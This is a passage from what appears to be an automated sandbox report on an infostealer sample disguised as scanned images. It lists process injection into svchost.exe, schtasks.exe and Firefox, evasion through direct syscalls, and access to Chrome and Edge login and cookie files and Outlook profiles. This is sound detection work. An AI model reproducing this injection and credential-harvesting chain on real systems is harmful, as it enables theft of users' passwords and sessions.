Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5EB20 mov eax, dword ptr fs:[00000030h]	2_2_02D5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF8B28 mov eax, dword ptr fs:[00000030h]	2_2_02DF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF8B28 mov eax, dword ptr fs:[00000030h]	2_2_02DF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E8C0 mov eax, dword ptr fs:[00000030h]	2_2_02D5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E008C0 mov eax, dword ptr fs:[00000030h]	2_2_02E008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_02D6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_02D6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFA8E4 mov eax, dword ptr fs:[00000030h]	2_2_02DFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBC89D mov eax, dword ptr fs:[00000030h]	2_2_02DBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30887 mov eax, dword ptr fs:[00000030h]	2_2_02D30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60854 mov eax, dword ptr fs:[00000030h]	2_2_02D60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34859 mov eax, dword ptr fs:[00000030h]	2_2_02D34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34859 mov eax, dword ptr fs:[00000030h]	2_2_02D34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D42840 mov ecx, dword ptr fs:[00000030h]	2_2_02D42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBE872 mov eax, dword ptr fs:[00000030h]	2_2_02DBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBE872 mov eax, dword ptr fs:[00000030h]	2_2_02DBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC6870 mov eax, dword ptr fs:[00000030h]	2_2_02DC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC6870 mov eax, dword ptr fs:[00000030h]	2_2_02DC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBC810 mov eax, dword ptr fs:[00000030h]	2_2_02DBC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52835 mov eax, dword ptr fs:[00000030h]	2_2_02D52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52835 mov eax, dword ptr fs:[00000030h]	2_2_02D52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52835 mov eax, dword ptr fs:[00000030h]	2_2_02D52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52835 mov ecx, dword ptr fs:[00000030h]	2_2_02D52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52835 mov eax, dword ptr fs:[00000030h]	2_2_02D52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52835 mov eax, dword ptr fs:[00000030h]	2_2_02D52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A830 mov eax, dword ptr fs:[00000030h]	2_2_02D6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD483A mov eax, dword ptr fs:[00000030h]	2_2_02DD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD483A mov eax, dword ptr fs:[00000030h]	2_2_02DD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D649D0 mov eax, dword ptr fs:[00000030h]	2_2_02D649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFA9D3 mov eax, dword ptr fs:[00000030h]	2_2_02DFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC69C0 mov eax, dword ptr fs:[00000030h]	2_2_02DC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D629F9 mov eax, dword ptr fs:[00000030h]	2_2_02D629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D629F9 mov eax, dword ptr fs:[00000030h]	2_2_02D629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBE9E0 mov eax, dword ptr fs:[00000030h]	2_2_02DBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB89B3 mov esi, dword ptr fs:[00000030h]	2_2_02DB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB89B3 mov eax, dword ptr fs:[00000030h]	2_2_02DB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB89B3 mov eax, dword ptr fs:[00000030h]	2_2_02DB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0 mov eax, dword ptr fs:[00000030h]	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D309AD mov eax, dword ptr fs:[00000030h]	2_2_02D309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D309AD mov eax, dword ptr fs:[00000030h]	2_2_02D309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0946 mov eax, dword ptr fs:[00000030h]	2_2_02DB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04940 mov eax, dword ptr fs:[00000030h]	2_2_02E04940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD4978 mov eax, dword ptr fs:[00000030h]	2_2_02DD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD4978 mov eax, dword ptr fs:[00000030h]	2_2_02DD4978

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A781F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00A781F7

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A4A395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00A4A395
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A4A364 SetUnhandledExceptionFilter,		0_2_00A4A364

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtProtectVirtualMemory: Direct from: 0x77542F9C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtSetInformationProcess: Direct from: 0x77542C5C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtOpenKeyEx: Direct from: 0x77542B9C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtProtectVirtualMemory: Direct from: 0x77537B2E	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtCreateFile: Direct from: 0x77542FEC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtOpenFile: Direct from: 0x77542DCC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtQueryInformationToken: Direct from: 0x77542CAC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtTerminateThread: Direct from: 0x77542FCC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtDeviceIoControlFile: Direct from: 0x77542AEC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtAllocateVirtualMemory: Direct from: 0x77542BEC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtQueryVolumeInformationFile: Direct from: 0x77542F2C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtOpenSection: Direct from: 0x77542E0C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtAllocateVirtualMemory: Direct from: 0x775448EC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtSetInformationThread: Direct from: 0x775363F9	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtQuerySystemInformation: Direct from: 0x775448CC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtReadVirtualMemory: Direct from: 0x77542E8C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtCreateKey: Direct from: 0x77542C6C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtSetInformationThread: Direct from: 0x77542B4C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtQueryAttributesFile: Direct from: 0x77542E6C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtAllocateVirtualMemory: Direct from: 0x77543C9C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtCreateUserProcess: Direct from: 0x7754371C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtQueryInformationProcess: Direct from: 0x77542C26	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtResumeThread: Direct from: 0x77542FBC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtWriteVirtualMemory: Direct from: 0x7754490C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtDelayExecution: Direct from: 0x77542DDC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtAllocateVirtualMemory: Direct from: 0x77542BFC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtReadFile: Direct from: 0x77542ADC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtQuerySystemInformation: Direct from: 0x77542DFC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtResumeThread: Direct from: 0x775436AC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtNotifyChangeKey: Direct from: 0x77543C2C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtCreateMutant: Direct from: 0x775435CC	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtWriteVirtualMemory: Direct from: 0x77542E3C	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	NtMapViewOfSection: Direct from: 0x77542D1C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\schtasks.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: NULL target: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: NULL target: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\schtasks.exe

Thread register set: target process: 3152

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\schtasks.exe

Thread APC queued: target process: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 22AD008

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A78C93 LogonUserW,

0_2_00A78C93

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A23B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00A23B4C

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A24A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00A24A35

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A84EF5 mouse_event,

0_2_00A84EF5

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe"	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\SysWOW64\schtasks.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

0_2_00A781F7

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A84C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00A84C03

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: XraVxjqYYo.exe, 00000008.00000002.3809288774.0000000001051000.00000002.00000001.00040000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000000.1546515158.0000000001051000.00000002.00000001.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000000.1696182247.0000000001681000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, XraVxjqYYo.exe, 00000008.00000002.3809288774.0000000001051000.00000002.00000001.00040000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000000.1546515158.0000000001051000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: XraVxjqYYo.exe, 00000008.00000002.3809288774.0000000001051000.00000002.00000001.00040000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000000.1546515158.0000000001051000.00000002.00000001.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000000.1696182247.0000000001681000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: XraVxjqYYo.exe, 00000008.00000002.3809288774.0000000001051000.00000002.00000001.00040000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000000.1546515158.0000000001051000.00000002.00000001.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000000.1696182247.0000000001681000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A4886B cpuid

0_2_00A4886B

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A550D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00A550D7

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A62230 GetUserNameW,

0_2_00A62230

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A5418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00A5418A

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A24AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00A24AFE

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.2120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1624858968.0000000002120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3809994652.0000000002A90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1625612818.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3811962670.0000000005410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3809765058.00000000030F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1625179434.0000000002B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3798026711.00000000026B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3809886003.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\schtasks.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Binary or memory string: WIN_81
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Binary or memory string: WIN_XP
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Binary or memory string: WIN_XPe
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Binary or memory string: WIN_VISTA
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Binary or memory string: WIN_7
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Binary or memory string: WIN_8
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.2120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1624858968.0000000002120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3809994652.0000000002A90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1625612818.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3811962670.0000000005410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3809765058.00000000030F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1625179434.0000000002B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
